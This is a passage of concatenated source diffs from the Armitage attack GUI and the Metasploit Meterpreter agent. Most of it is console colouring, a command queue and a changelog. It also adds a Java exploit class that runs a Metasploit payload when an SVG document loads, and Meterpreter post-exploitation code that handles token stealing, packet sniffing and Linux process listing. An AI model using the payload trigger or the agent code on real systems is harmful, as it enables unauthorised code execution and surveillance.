@ -79,6 +80,11 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function {
}
public ArmitageMain(String[] args) {
/* tweak the parser to recognize a few useful escapes */
ParserConfig.installEscapeConstant('c', console.Colors.color + "");
ParserConfig.installEscapeConstant('o', console.Colors.cancel + "");
/* setup a function or two */
Hashtable environment = new Hashtable();
environment.put("&resource", this);

View File

@ -143,8 +143,13 @@ public class ConsoleClient implements Runnable, ActionListener {
}
}
connection.execute(writeCommand, new Object[] { session, text });
read = readResponse();
if ("armitage.push".equals(writeCommand)) {
read = (Map)connection.execute(writeCommand, new Object[] { session, text });
}
else {
connection.execute(writeCommand, new Object[] { session, text });
read = readResponse();
}
processRead(read);
fireSessionWroteEvent(text);

View File

@ -21,8 +21,9 @@ public class ConsoleQueue implements Runnable {
protected Console display = null;
private static class Command {
public Object token;
public String text;
public Object token = null;
public String text = null;
public Map assign = null;
public long start = System.currentTimeMillis();
}
@ -92,6 +93,78 @@ public class ConsoleQueue implements Runnable {
}
protected void processCommand(Command c) {
if (c.assign == null) {
processNormalCommand(c);
}
else {
processAssignCommand(c);
}
}
protected void processAssignCommand(Command c) {
try {
/* absorb anything misc */
Map read = readResponse();
String prompt = ConsoleClient.cleanText(read.get("prompt") + "");
StringBuffer writeme = new StringBuffer();
Set expected = new HashSet();
/* loop through our values to assign */
Iterator i = c.assign.entrySet().iterator();
while (i.hasNext()) {
Map.Entry entry = (Map.Entry)i.next();
String key = entry.getKey() + "";
String value = entry.getValue() + "";
writeme.append("set " + key + " " + value + "\n");
expected.add(key);
}
/* write our command to whateverz */
connection.execute("console.write", new Object[] { consoleid, writeme.toString() });
long start = System.currentTimeMillis();
/* process through all of our values */
while (expected.size() > 0) {
Thread.yield();
Map temp = (Map)(connection.execute("console.read", new Object[] { consoleid }));
if (!isEmptyData(temp.get("data") + "")) {
String[] lines = (temp.get("data") + "").split("\n");
for (int x = 0; x < lines.length; x++) {
if (lines[x].indexOf(" => ") != -1) {
String[] kv = lines[x].split(" => ");
/* remove any set variables from our set of stuff */
expected.remove(kv[0]);
if (display != null) {
display.append(prompt + "set " + kv[0] + " " + kv[1] + "\n");
display.append(lines[x] + "\n");
}
}
else if (display != null) {
display.append(lines[x] + "\n");
}
else {
System.err.println("Batch read unexpected: " + lines[x]);
}
}
}
else if ((System.currentTimeMillis() - start) > 10000) {
/* this is a safety check to keep a console from spinning waiting for one command to complete. Shouldn't trigger--unless I mess up :) */
System.err.println("Timed out: " + c.assign + " vs. " + expected);
break;
}
}
}
catch (Exception ex) {
System.err.println(consoleid + " -> " + c.text);
ex.printStackTrace();
}
}
protected void processNormalCommand(Command c) {
Map read = null;
try {
if (c.text.startsWith("ECHO ")) {
@ -161,6 +234,20 @@ public class ConsoleQueue implements Runnable {
}
}
public void append(String text) {
addCommand(null, "ECHO " + text + "\n");
}
public void setOptions(Map options) {
synchronized (this) {
Command temp = new Command();
temp.token = null;
temp.text = null;
temp.assign = options;
commands.add(temp);
}
}
public void addCommand(Object token, String text) {
synchronized (this) {
if (text.trim().equals("")) {

View File

@ -0,0 +1,173 @@
package console;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.text.*;
/* a class for managing and parsing colors */
public class Colors {
public static final char bold = (char)2;
public static final char underline = (char)31;
public static final char color = (char)3;
public static final char cancel = (char)15;
public static final char reverse = (char)22;
private static final class Fragment {
protected SimpleAttributeSet attr = new SimpleAttributeSet();
protected StringBuffer text = new StringBuffer(32);
protected Fragment next = null;
public void advance() {
next = new Fragment();
next.attr = (SimpleAttributeSet)attr.clone();
}
}
protected boolean showcolors = true;
public Colors(java.util.Properties prefs) {
colorTable = new Color[16];
colorTable[0] = Color.white;
colorTable[1] = new Color(0, 0, 0);
colorTable[2] = Color.decode("#3465A4");
colorTable[3] = Color.decode("#4E9A06");
colorTable[4] = Color.decode("#EF2929"); //new Color(255, 0, 0);
colorTable[5] = Color.decode("#CC0000");
colorTable[6] = Color.decode("#75507B");
colorTable[7] = Color.decode("#C4A000");
colorTable[8] = Color.decode("#FCE94F");
colorTable[9] = Color.decode("#8AE234");
colorTable[10] = Color.decode("#06989A");
colorTable[11] = Color.decode("#34E2E2");
colorTable[12] = Color.decode("#729FCF");
colorTable[13] = Color.decode("#AD7FA8");
//colorTable[14] = Color.decode("#555753");
colorTable[14] = Color.decode("#808080");
colorTable[15] = Color.lightGray;
for (int x = 0; x < 16; x++) {
String temps = prefs.getProperty("console.color_" + x + ".color", null);
//System.err.println("console.color_" + x + ".color=\\#" + Integer.toHexString(colorTable[x].getRGB()).substring(2));
if (temps != null) {
colorTable[x] = Color.decode(temps);
}
}
/* do we want to show colors or automatically strip all of them? */
showcolors = "true".equals(prefs.getProperty("console.show_colors.boolean", "true"));
}
protected Color colorTable[];
/* strip format codes from the text */
public String strip(String text) {
Fragment f = parse(text);
return strip(f);
}
private String strip(Fragment f) {
StringBuffer buffer = new StringBuffer(128);
while (f != null) {
buffer.append(f.text);
f = f.next;
}
return buffer.toString();
}
private void append(StyledDocument doc, Fragment f) {
while (f != null) {
try {
if (f.text.length() > 0)
doc.insertString(doc.getLength(), f.text.toString(), f.attr);
}
catch (Exception ex) {
ex.printStackTrace();
}
f = f.next;
}
}
public void append(JTextPane console, String text) {
StyledDocument doc = console.getStyledDocument();
Fragment f = parse(text);
if (showcolors) {
append(doc, f);
}
else {
append(doc, parse(strip(f)));
}
}
public void set(JTextPane console, String text) {
/* don't update that which we do not need to update */
Fragment f = parse(text);
if (strip(f).equals(console.getText())) {
return;
}
StyledDocument doc = console.getStyledDocument();
try {
doc.remove(0, doc.getLength());
if (showcolors)
append(doc, f);
else
append(doc, parse(strip(f)));
}
catch (BadLocationException ex) { ex.printStackTrace(); }
/* this is a dumb hack to prevent the height from getting out of whack */
console.setSize(new Dimension(1000, console.getSize().height));
}
private Fragment parse(String text) {
Fragment current = new Fragment();
Fragment first = current;
if (text == null)
return current;
char[] data = text.toCharArray();
int fore, back;
for (int x = 0; x < data.length; x++) {
switch (data[x]) {
case bold:
current.advance();
StyleConstants.setBold(current.next.attr, !StyleConstants.isBold(current.attr));
current = current.next;
break;
case underline:
current.advance();
StyleConstants.setUnderline(current.next.attr, !StyleConstants.isUnderline(current.attr));
current = current.next;
break;
case color: /* look for 0-9a-f = 16 colors */
current.advance();
if ((x + 1) < data.length && ((data[x + 1] >= '0' && data[x + 1] <= '9') || (data[x + 1] >= 'A' && data[x + 1] <= 'F'))) {
int index = Integer.parseInt(data[x + 1] + "", 16);
StyleConstants.setForeground(current.next.attr, colorTable[index]);
x += 1;
}
current = current.next;
break;
case '\n':
current.advance();
current = current.next;
current.attr = new SimpleAttributeSet();
current.text.append(data[x]);
break;
case cancel:
current.advance();
current = current.next;
current.attr = new SimpleAttributeSet();
break;
default:
current.text.append(data[x]);
}
}
return first;
}
}

View File

@ -11,19 +11,21 @@ import java.awt.event.*;
import java.io.PrintStream;
import java.util.*;
import java.util.regex.*;
import armitage.Activity;
/** A generic multi-feature console for use in the Armitage network attack tool */
public class Console extends JPanel implements FocusListener {
protected JTextArea console;
protected JTextPane console;
protected JTextField input;
protected JLabel prompt;
protected JTextPane prompt;
protected PrintStream log = null;
protected Properties display;
protected Font consoleFont;
protected Colors colors;
protected ClickListener clickl;
@ -56,7 +58,7 @@ public class Console extends JPanel implements FocusListener {
public ClickListener(Console parent) {
this.parent = parent;
}
public void setPopup(ConsolePopup popup) {
this.popup = popup;
}
@ -120,7 +122,7 @@ public class Console extends JPanel implements FocusListener {
String temp = data.substring(start, end).trim();
int a = temp.indexOf("\n");
if (a > 0) {
return temp.substring(0, a);
return temp.substring(0, a);
}
return temp;
}
@ -139,6 +141,8 @@ public class Console extends JPanel implements FocusListener {
}
private void updateComponentLooks() {
colors = new Colors(display);
Color foreground = Color.decode(display.getProperty("console.foreground.color", "#ffffff"));
Color background = Color.decode(display.getProperty("console.background.color", "#000000"));
@ -146,7 +150,10 @@ public class Console extends JPanel implements FocusListener {
while (i.hasNext()) {
JComponent component = (JComponent)i.next();
component.setForeground(foreground);
component.setBackground(background);
if (component == console || component == prompt)
component.setOpaque(false);
else
component.setBackground(background);
component.setFont(consoleFont);
if (component == console || component == prompt) {
@ -173,11 +180,11 @@ public class Console extends JPanel implements FocusListener {
public void setPrompt(String text) {
String bad = "\ufffd\ufffd";
if (text.equals(bad) || text.equals("null")) {
prompt.setText(defaultPrompt);
colors.set(prompt, fixText(defaultPrompt));
}
else {
defaultPrompt = text;
prompt.setText(text);
colors.set(prompt, fixText(text));
}
}
@ -196,15 +203,64 @@ public class Console extends JPanel implements FocusListener {
}
}
protected void appendToConsole(String _text) {
if (_text.endsWith("\n") || _text.endsWith("\r")) {
if (!promptLock) {
console.append(_text);
if (log != null)
log.print(_text);
private static class Replacements {
public Pattern original;
public String replacer;
public Replacements(String o, String r) {
original = Pattern.compile(o);
replacer = r;
}
}
public void setStyle(String text) {
String lines[] = text.trim().split("\n");
colorme = new Replacements[lines.length];
for (int x = 0; x < lines.length; x++) {
String ab[] = lines[x].split("\\t+");
if (ab.length == 2) {
ab[1] = ab[1].replace("\\c", Colors.color + "");
ab[1] = ab[1].replace("\\o", Colors.cancel + "");
ab[1] = ab[1].replace("\\u", Colors.underline + "");
colorme[x] = new Replacements(ab[0], ab[1]);
}
else {
console.append(prompt.getText());
System.err.println(lines[x] + "<-- didn't split right:" + ab.length);
}
}
}
protected Replacements colorme[] = null;
protected String fixText(String text) {
if (colorme == null)
return text;
StringBuffer result = new StringBuffer();
String[] lines = text.split("(?<=\\n)");
for (int x = 0; x < lines.length; x++) {
String temp = lines[x];
for (int y = 0; y < colorme.length; y++) {
if (colorme[y] != null)
temp = colorme[y].original.matcher(temp).replaceFirst(colorme[y].replacer);
}
result.append(temp);
}
return result.toString();
}
protected void appendToConsole(String _text) {
_text = fixText(_text);
if (_text.endsWith("\n") || _text.endsWith("\r")) {
if (!promptLock) {
colors.append(console, _text);
if (log != null)
log.print(colors.strip(_text));
}
else {
colors.append(console, prompt.getText());
}
if (!_text.startsWith(prompt.getText()))
@ -214,18 +270,17 @@ public class Console extends JPanel implements FocusListener {
int breakp = _text.lastIndexOf("\n");
if (breakp != -1) {
console.append(_text.substring(0, breakp + 1));
prompt.setText(_text.substring(breakp + 1) + " ");
colors.append(console, _text.substring(0, breakp + 1));
updatePrompt(_text.substring(breakp + 1) + " ");
if (log != null)
log.print(_text.substring(0, breakp + 1));
log.print(colors.strip(_text.substring(0, breakp + 1)));
}
else {
prompt.setText(_text);
updatePrompt(_text);
}
promptLock = true;
}
if (console.getDocument().getLength() >= 1) {
console.setCaretPosition(console.getDocument().getLength() - 1);
}
@ -276,9 +331,9 @@ public class Console extends JPanel implements FocusListener {
/* init the console */
console = new JTextArea();
console = new JTextPane();
console.setEditable(false);
console.setLineWrap(true);
//console.setLineWrap(true);
console.addFocusListener(this);
JScrollPane scroll = new JScrollPane(
@ -290,7 +345,8 @@ public class Console extends JPanel implements FocusListener {
/* init the prompt */
prompt = new JLabel();
prompt = new JTextPane();
prompt.setEditable(false);
/* init the input */
@ -373,6 +429,13 @@ public class Console extends JPanel implements FocusListener {
/* setup our word click listener */
clickl = new ClickListener(this);
console.addMouseListener(clickl);
/* work-around for Nimbus L&F */
Color background = Color.decode(display.getProperty("console.background.color", "#000000"));
console.setBackground(new Color(0,0,0,0));
prompt.setBackground(new Color(0,0,0,0));
scroll.getViewport().setBackground(background);
console.setOpaque(false);
}
public JPopupMenu getPopupMenu(final JTextComponent _component) {

View File

@ -17,18 +17,24 @@ public class Display extends JPanel {
protected JTextPane console;
protected Properties display;
protected Font consoleFont;
protected Colors colors;
protected LinkedList components = new LinkedList();
private void updateComponentLooks() {
colors = new Colors(display);
Color foreground = Color.decode(display.getProperty("console.foreground.color", "#ffffff"));
Color background = Color.decode(display.getProperty("console.background.color", "#000000"));
Iterator i = components.iterator();
while (i.hasNext()) {
JComponent component = (JComponent)i.next();
if (component == console)
component.setOpaque(false);
else
component.setBackground(background);
component.setForeground(foreground);
component.setBackground(background);
component.setFont(consoleFont);
if (component == console) {
@ -45,48 +51,23 @@ public class Display extends JPanel {
}
}
private static Map colors = new HashMap();
public static AttributeSet getColor(String index, Properties preferences, String def) {
synchronized (colors) {
if (colors.get(index) == null) {
SimpleAttributeSet attrs = new SimpleAttributeSet();
Color temp = Color.decode(preferences.getProperty("console.color_" + index + ".color", def));
StyleConstants.setForeground(attrs, temp);
colors.put(index, attrs);
}
return (SimpleAttributeSet)colors.get(index);
}
}
public void append(final String text, final String index, final String fg) {
public void append(final String text) {
if (SwingUtilities.isEventDispatchThread()) {
_append(text, index, fg);
_append(text);
}
else {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
_append(text, index, fg);
_append(text);
}
});
}
}
public void _append(String text, String index, String foreground) {
try {
Rectangle r = console.getVisibleRect();
StyledDocument doc = console.getStyledDocument();
if (foreground == null) {
doc.insertString(doc.getLength(), text, null);
}
else {
doc.insertString(doc.getLength(), text, getColor(index, display, foreground));
}
console.scrollRectToVisible(r);
}
catch(Exception e) {
System.out.println(e);
}
public void _append(String text) {
Rectangle r = console.getVisibleRect();
colors.append(console, text);
console.scrollRectToVisible(r);
}
public void setText(final String _text) {

View File

@ -74,7 +74,7 @@ public class SearchPanel extends JPanel implements ActionListener {
try {
String text = component.getText();
int lastIndex = -1;
while ((lastIndex = text.indexOf(searchstr, lastIndex + 1)) != -1) {
while ((lastIndex = text.replaceAll("\r", "").indexOf(searchstr, lastIndex + 1)) != -1) {
component.getHighlighter().addHighlight(
lastIndex,
lastIndex + searchstr.length(),

View File

@ -1,6 +1,36 @@
Armitage Changelog
==================
21 May 12
---------
- Added a hack to prevent the input area from flickering when the
prompt changes.
- Updated the color palette to something a little more subtle.
- Added an optimization to how modules are launched. This will make
a difference for team use in high latency situations.
- Rewrote MSF Scans feature to use console queue. This option is more
reliable and it makes the code easier to follow.
- Added a hack to combine chat message writes with a read request.
This will make the event log more responsive in a high latency
situation (can't you tell I care about this "situation")
- Fixed text highlights through Ctrl+F on Windows. UNIX platforms
were always OK. Another good reason to not use these tools on
Windows. Ever.
- View -> Downloads Sync Files feature now works on Windows. It looks
like leaving those pesky :'s in the file paths is bad.
17 May 12
---------
- Fixed bug with loot/download viewer breaking with a font resize.
- Default console font color is now grey. I never noticed that I had
white text on a black background before. That's a lot of contrast.
This is adjustable too through Armitage -> Preferences.
- And... the Armitage console now displays pretty colors. If you don't
like colors, set the console.show_colors.boolean preference to false
through Armitage -> Preferences.
- Fixed a bug preventing input field from getting focus when popping a
console tab using Ctrl+W.
14 May 12
---------
- Oopserific--dynamic workspace shortcuts were not bound until you

View File

@ -0,0 +1,27 @@
import org.w3c.dom.events.Event;
import org.w3c.dom.events.EventListener;
import org.w3c.dom.svg.EventListenerInitializer;
import org.w3c.dom.svg.SVGDocument;
import org.w3c.dom.svg.SVGSVGElement;
import metasploit.Payload;
public class Exploit implements EventListenerInitializer {
public Exploit() {
}
public void initializeEventListeners(SVGDocument document) {
SVGSVGElement root = document.getRootElement();
EventListener listener = new EventListener() {
public void handleEvent(Event event) {
try {
Payload.main(null);
} catch (Exception e) {}
}
};
root.addEventListener("SVGLoad", listener, false);
}
}

View File

@ -2,6 +2,7 @@ package com.metasploit.meterpreter;
import java.util.HashMap;
import java.util.Map;
import java.util.Vector;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.command.NotYetImplementedCommand;
@ -16,6 +17,7 @@ public class CommandManager {
private final int javaVersion;
private Map/* <String,Command> */registeredCommands = new HashMap();
private Vector/* <String> */newCommands = new Vector();
protected CommandManager() throws Exception {
// get the API version, which might be different from the
@ -97,6 +99,7 @@ public class CommandManager {
}
Command cmd = (Command) commandClass.newInstance();
registeredCommands.put(command, cmd);
newCommands.add(command);
}
/**
@ -108,4 +111,18 @@ public class CommandManager {
cmd = NotYetImplementedCommand.INSTANCE;
return cmd;
}
}
/**
* Reset the list of commands loaded by the last core_loadlib call
*/
public void resetNewCommands() {
newCommands.clear();
}
/**
* Retrieves the list of commands loaded by the last core_loadlib call
*/
public String[] getNewCommands() {
return (String[]) newCommands.toArray(new String[newCommands.size()]);
}
}

View File

@ -322,7 +322,7 @@ public class Meterpreter {
* @param data
* The extension jar's content as a byte array
*/
public void loadExtension(byte[] data) throws Exception {
public String[] loadExtension(byte[] data) throws Exception {
ClassLoader classLoader = getClass().getClassLoader();
if (loadExtensions) {
URL url = MemoryBufferURLConnection.createURL(data, "application/jar");
@ -331,6 +331,8 @@ public class Meterpreter {
JarInputStream jis = new JarInputStream(new ByteArrayInputStream(data));
String loaderName = (String) jis.getManifest().getMainAttributes().getValue("Extension-Loader");
ExtensionLoader loader = (ExtensionLoader) classLoader.loadClass(loaderName).newInstance();
commandManager.resetNewCommands();
loader.load(commandManager);
return commandManager.getNewCommands();
}
}
}

View File

@ -9,7 +9,11 @@ public class core_loadlib implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
byte[] data = request.getRawValue(TLVType.TLV_TYPE_DATA);
meterpreter.loadExtension(data);
String[] commands = meterpreter.loadExtension(data);
for (int i = 0; i < commands.length; i++) {
response.addOverflow(TLVType.TLV_TYPE_METHOD, commands[i]);
}
return ERROR_SUCCESS;
}
}
}

View File

@ -116,7 +116,7 @@ Command commands[] =
};
// Dynamically registered command extensions
Command *extensionList = NULL;
Command *extension_commands = NULL;
/*
* Dynamically register a custom command handler
@ -133,13 +133,13 @@ DWORD command_register(Command *command)
memcpy(newCommand, command, sizeof(Command));
dprintf("Setting new command...");
if (extensionList)
extensionList->prev = newCommand;
if (extension_commands)
extension_commands->prev = newCommand;
dprintf("Fixing next/prev...");
newCommand->next = extensionList;
newCommand->next = extension_commands;
newCommand->prev = NULL;
extensionList = newCommand;
extension_commands = newCommand;
dprintf("Done...");
return ERROR_SUCCESS;
@ -154,7 +154,7 @@ DWORD command_deregister(Command *command)
DWORD res = ERROR_NOT_FOUND;
// Search the extension list for the command
for (current = extensionList, prev = NULL;
for (current = extension_commands, prev = NULL;
current;
prev = current, current = current->next)
{
@ -164,7 +164,7 @@ DWORD command_deregister(Command *command)
if (prev)
prev->next = current->next;
else
extensionList = current->next;
extension_commands = current->next;
if (current->next)
current->next->prev = prev;
@ -288,7 +288,7 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
}
// Regardless of error code, try to see if someone has overriden a base handler
for( current = extensionList, result = ERROR_NOT_FOUND ;
for( current = extension_commands, result = ERROR_NOT_FOUND ;
result == ERROR_NOT_FOUND && current && current->method ; current = current->next )
{
if( strcmp( current->method, method ) )
@ -373,7 +373,7 @@ DWORD command_process_remote(Remote *remote, Packet *inPacket)
// Regardless of error code, try to see if someone has overriden
// a base handler
for (current = extensionList, res = ERROR_NOT_FOUND;
for (current = extension_commands, res = ERROR_NOT_FOUND;
res == ERROR_NOT_FOUND && current && current->method;
current = current->next)
{

View File

@ -599,6 +599,7 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
result = hErr;
break;
}
j->capture_linktype = 1; // LINKTYPE_ETHERNET forced on windows
#else
name = get_interface_name_by_index(ifh);
@ -612,6 +613,9 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
result = EACCES;
break;
}
j->capture_linktype = dlt_to_linktype(pcap_datalink(j->pcap)); // get the datalink associated with the capture, needed when saving pcap file
if (-1 == j->capture_linktype)
j->capture_linktype = 1; // force to LINKTYPE_ETHERNET in case of error
if(packet_filter) {
struct bpf_program bpf;
@ -1019,6 +1023,8 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) {
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, pcnt);
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, rcnt);
// add capture datalink, needed when saving capture file, use TLV_TYPE_SNIFFER_INTERFACE_ID not to create a new TLV type
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_INTERFACE_ID, j->capture_linktype);
dprintf("sniffer>> finished processing packets");

View File

@ -35,6 +35,7 @@ typedef struct capturejob
unsigned char *dbuf;
unsigned int dlen;
unsigned int didx;
int capture_linktype; //current capture link type that we want to save, ie. LINKTYPE_ETHERNET
#ifndef _WIN32
THREAD *thread;
pcap_t *pcap;

View File

@ -314,9 +314,9 @@ int get_interfaces_linux(Remote *remote, Packet *response) {
tlv_cnt++;
for (j = 0; j < ifaces->ifaces[i].addr_count; j++) {
if (allocd_entries < tlv_cnt+3) {
entries = realloc(entries, sizeof(Tlv) * (tlv_cnt+3));
allocd_entries += 3;
if (allocd_entries < tlv_cnt+2) {
entries = realloc(entries, sizeof(Tlv) * (tlv_cnt+2));
allocd_entries += 2;
}
if (ifaces->ifaces[i].addr_list[j].family == AF_INET) {
dprintf("ip addr for %s", ifaces->ifaces[i].name);

View File

@ -296,6 +296,7 @@ Command customCommands[] =
{ request_sys_config_getprivs, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
#ifdef _WIN32
{ "stdapi_sys_config_steal_token",
{ request_sys_config_steal_token, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
@ -304,6 +305,7 @@ Command customCommands[] =
{ request_sys_config_drop_token, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
#endif
// Net

View File

@ -1,7 +1,7 @@
#include "precomp.h"
#include "ps.h" // include the code for listing proceses
#ifdef _WIN32
#include "ps.h" // include the code for listing proceses
#include "./../session.h"
#include "in-mem-exe.h" /* include skapetastic in-mem exe exec */
@ -859,8 +859,10 @@ DWORD request_sys_process_get_processes( Remote * remote, Packet * packet )
#else
DWORD result = ERROR_NOT_SUPPORTED;
Packet * response = packet_create_response( packet );
packet_transmit_response( result, remote, response );
if (response) {
result = ps_list_linux( response );
packet_transmit_response( result, remote, response );
}
#endif
return result;

View File

@ -1,5 +1,8 @@
#include "precomp.h"
#include "ps.h"
#ifdef _WIN32
#include "./../session.h"
#include "./../../../../../common/arch/win/i386/base_inject.h"
@ -394,64 +397,7 @@ BOOL ps_getusername( DWORD pid, char * cpUserName, DWORD dwUserNameSize )
return success;
}
/*
* Add the details of a process to the response.
*/
VOID ps_addresult( Packet * response, DWORD dwPid, DWORD dwParentPid, char * cpExeName, char * cpExePath, char * cpUserName, DWORD dwProcessArch )
{
Tlv entries[7] = {0};
DWORD dwSessionId = 0;
do
{
if( !response )
break;
dwSessionId = session_id( dwPid );
dwPid = htonl( dwPid );
entries[0].header.type = TLV_TYPE_PID;
entries[0].header.length = sizeof( DWORD );
entries[0].buffer = (PUCHAR)&dwPid;
if( !cpExeName )
cpExeName = "";
entries[1].header.type = TLV_TYPE_PROCESS_NAME;
entries[1].header.length = (DWORD)strlen( cpExeName ) + 1;
entries[1].buffer = cpExeName;
if( !cpExePath )
cpExePath = "";
entries[2].header.type = TLV_TYPE_PROCESS_PATH;
entries[2].header.length = (DWORD)strlen( cpExePath ) + 1;
entries[2].buffer = cpExePath;
if( !cpUserName )
cpUserName = "";
entries[3].header.type = TLV_TYPE_USER_NAME;
entries[3].header.length = (DWORD)strlen( cpUserName ) + 1;
entries[3].buffer = cpUserName;
dwProcessArch = htonl( dwProcessArch );
entries[4].header.type = TLV_TYPE_PROCESS_ARCH;
entries[4].header.length = sizeof( DWORD );
entries[4].buffer = (PUCHAR)&dwProcessArch;
dwParentPid = htonl( dwParentPid );
entries[5].header.type = TLV_TYPE_PARENT_PID;
entries[5].header.length = sizeof( DWORD );
entries[5].buffer = (PUCHAR)&dwParentPid;
dwSessionId = htonl( dwSessionId );
entries[6].header.type = TLV_TYPE_PROCESS_SESSION;
entries[6].header.length = sizeof( DWORD );
entries[6].buffer = (PUCHAR)&dwSessionId;
packet_add_tlv_group( response, TLV_TYPE_PROCESS_GROUP, entries, 7 );
} while(0);
}
/*
* Generate a process list via the kernel32!CreateToolhelp32Snapshot method. Works on Windows 2000 and above.
@ -632,3 +578,336 @@ DWORD ps_list_via_brute( Packet * response )
return result;
}
#else // linux part
/*
* linux specific ps command and structures
*/
#include <stdio.h>
#include <ctype.h>
#include <sys/types.h>
#include <dirent.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#define NAME "Name:\t"
#define STATE "State:\t"
#define UID "Uid:\t"
#define PPID "PPid:\t"
struct info_process {
char name[60];
char state[2];
int uid;
int ppid;
};
struct info_user {
char name[40];
int uid;
};
struct info_user_list {
int count_max;
int count_current;
struct info_user * list;
};
int read_file(FILE * fd, char * buffer, int buffer_len) {
int read = 0;
while (!feof(fd) && !ferror(fd) && read < buffer_len - 1)
read += fread(buffer+read, 1, 1024, fd);
buffer[read] = 0;
return read;
}
void parse_status(char * buffer, struct info_process * info) {
char * str;
str = strtok(buffer, "\n");
memset(info, 0, sizeof(*info));
while (str != NULL) {
if ( strncmp(str, NAME, strlen(NAME)) == 0 )
strncpy(info->name, str+strlen(NAME), sizeof(info->name)-1);
if ( strncmp(str, STATE, strlen(STATE)) == 0 ) {
strncpy(info->state, str+strlen(STATE), 1); // want only 1 char
}
if ( strncmp(str, UID, strlen(UID)) == 0 )
info->uid = atoi(str+strlen(UID));
if ( strncmp(str, PPID, strlen(PPID)) == 0 )
info->ppid = atoi(str+strlen(PPID));
str = strtok(NULL, "\n");
}
}
void add_user_to_list(struct info_user_list * user_list, char * username, int uid) {
if(user_list->count_max <= user_list->count_current) {
user_list->list = realloc(user_list->list, sizeof(struct info_user) * (user_list->count_current+3));
user_list->count_max = user_list->count_current+3;
}
memset(&user_list->list[user_list->count_current], 0, sizeof(struct info_user));
strncpy(user_list->list[user_list->count_current].name, username, sizeof(user_list->list[user_list->count_current].name) - 1);
user_list->list[user_list->count_current].uid = uid;
user_list->count_current++;
return;
}
// parse password to get username/uid association
int parse_passwd_file(char * passwd_filename, struct info_user_list ** user_list) {
FILE * fd;
struct info_user_list * tmp;
char buffer[2048];
char tmp_username[40];
char * str;
int tmp_uid;
fd = fopen(passwd_filename, "r");
if (!fd)
return -1;
tmp = (struct info_user_list *)malloc(sizeof(struct info_user_list));
if (!tmp)
return -1;
// allocate some space for 10 users
tmp->list = (struct info_user *)malloc(sizeof(struct info_user) * 10);
if (!tmp->list) {
free(tmp);
return -1;
}
tmp->count_max = 10;
tmp->count_current = 0;
while(!feof(fd) && !ferror(fd)) {
// read 1 line at a time
if (fgets(buffer, sizeof(buffer)-1, fd) != NULL) {
str = strtok(buffer, ":");
if (str) {
// first member before : is username
memset(tmp_username, 0, sizeof(tmp_username));
strncpy(tmp_username, str, sizeof(tmp_username)-1);
str = strtok(NULL, ":");
if(!str) // bad line, doesn't contain more than 1 time ":"
continue;
str = strtok(NULL, ":");
if(!str) // bad line, doesn't contain more than 2 times ":"
continue;
// str points to uid
tmp_uid = atoi(str);
add_user_to_list(tmp, tmp_username, tmp_uid);
}
}
}
*user_list = tmp;
fclose(fd);
return 0;
}
void uid_to_username(struct info_user_list * user_list, int uid, char * username, int username_buffer_length) {
int i;
memset(username, 0, username_buffer_length);
for (i=0; i<user_list->count_current; i++) {
if (user_list->list[i].uid == uid) {
strncpy(username, user_list->list[i].name, username_buffer_length-1);
return;
}
}
// fallback if we didn't find the username
snprintf(username, username_buffer_length-1, "%d", uid);
return ;
}
/*
* Generate a process list by parsing /proc/<pid> directories
* linux specific
*/
DWORD ps_list_linux( Packet * response )
{
DWORD result = ERROR_NOT_SUPPORTED;
DIR * dir;
int i;
int read;
struct dirent * entry;
struct stat stat_buf;
char is_process_dir;
char file_path[50];
char file_buffer[2048];
char username[40];
char process_name[50];
char * cmdline;
FILE * fd;
struct info_process info;
struct info_user_list * user_list;
user_list = NULL;
parse_passwd_file("/etc/passwd", &user_list);
dir = opendir("/proc");
if(dir) {
while( (entry=readdir(dir) ) != NULL) {
memset(file_path, 0, sizeof(file_path));
snprintf(file_path, sizeof(file_path)-1, "/proc/%s", entry->d_name);
// handle only directories
if ( (stat(file_path, &stat_buf) != 0) || !(S_ISDIR(stat_buf.st_mode)) )
continue;
// assume it's a dir name
is_process_dir = 1;
// check if the directory name is a process dir name (ie. only digits)
for (i=0; i<strlen(entry->d_name); i++) {
if (!isdigit(entry->d_name[i])) {
is_process_dir = 0;
break;
}
}
if (is_process_dir) {
memset(file_path, 0, sizeof(file_path));
snprintf(file_path, sizeof(file_path)-1, "/proc/%s/status", entry->d_name);
fd = fopen(file_path, "rb");
if (!fd)
continue;
memset(file_buffer, 0, sizeof(file_buffer));
read = read_file(fd, file_buffer, sizeof(file_buffer));
parse_status(file_buffer, &info);
fclose(fd);
/* at the moment, lack support for getpwuid in bionic (defined in stub.c but excluded from compilation)
* so use custom code to parse /etc/passwd
* see parse_passwd_file above
*/
memset(username, 0, sizeof(username));
if (user_list)
uid_to_username(user_list, info.uid, username, sizeof(username));
else
snprintf(username, sizeof(username)-1, "%d", info.uid);
memset(file_path, 0, sizeof(file_path));
snprintf(file_path, sizeof(file_path)-1, "/proc/%s/cmdline", entry->d_name);
fd = fopen(file_path, "rb");
if (!fd)
continue;
memset(process_name, 0, sizeof(process_name));
memset(file_buffer, 0, sizeof(file_buffer));
read = read_file(fd, file_buffer, sizeof(file_buffer));
fclose(fd);
if (info.state[0] == 'Z') { // zombie
snprintf(process_name, sizeof(process_name)-1, "[%s] <defunct>", info.name);
cmdline = NULL; // no cmdline for zombie process
}
else if (read == 0) { // kernel process
snprintf(process_name, sizeof(process_name)-1, "[%s]", info.name);
cmdline = NULL; // no cmdline for kernel process
}
else {
snprintf(process_name, sizeof(process_name)-1, "%s", info.name);
cmdline = file_buffer; // file_buffer contains the cmdline
for(i=0; i<read; i++)
if(file_buffer[i] == '\0')
file_buffer[i] = ' ';
}
// don't care about process arch
